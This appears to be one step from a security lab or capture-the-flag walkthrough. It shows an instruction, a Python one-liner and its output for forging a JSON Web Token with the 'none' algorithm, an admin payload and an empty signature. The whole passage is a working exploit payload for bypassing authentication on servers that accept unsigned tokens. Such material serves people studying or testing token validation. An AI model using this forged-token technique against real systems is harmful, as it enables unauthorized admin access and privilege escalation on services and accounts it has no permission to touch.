Create a new JWT with the header {"alg":"none","typ":"JWT"}, an admin payload, and an empty signature. Base64url-encode header and payload, join with dots, add trailing dot for empty signature.
Command / Input
python3 -c "
import base64, json
h = base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).rstrip(b'=').decode()
print(f'{h}.{p}.')"
Output
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.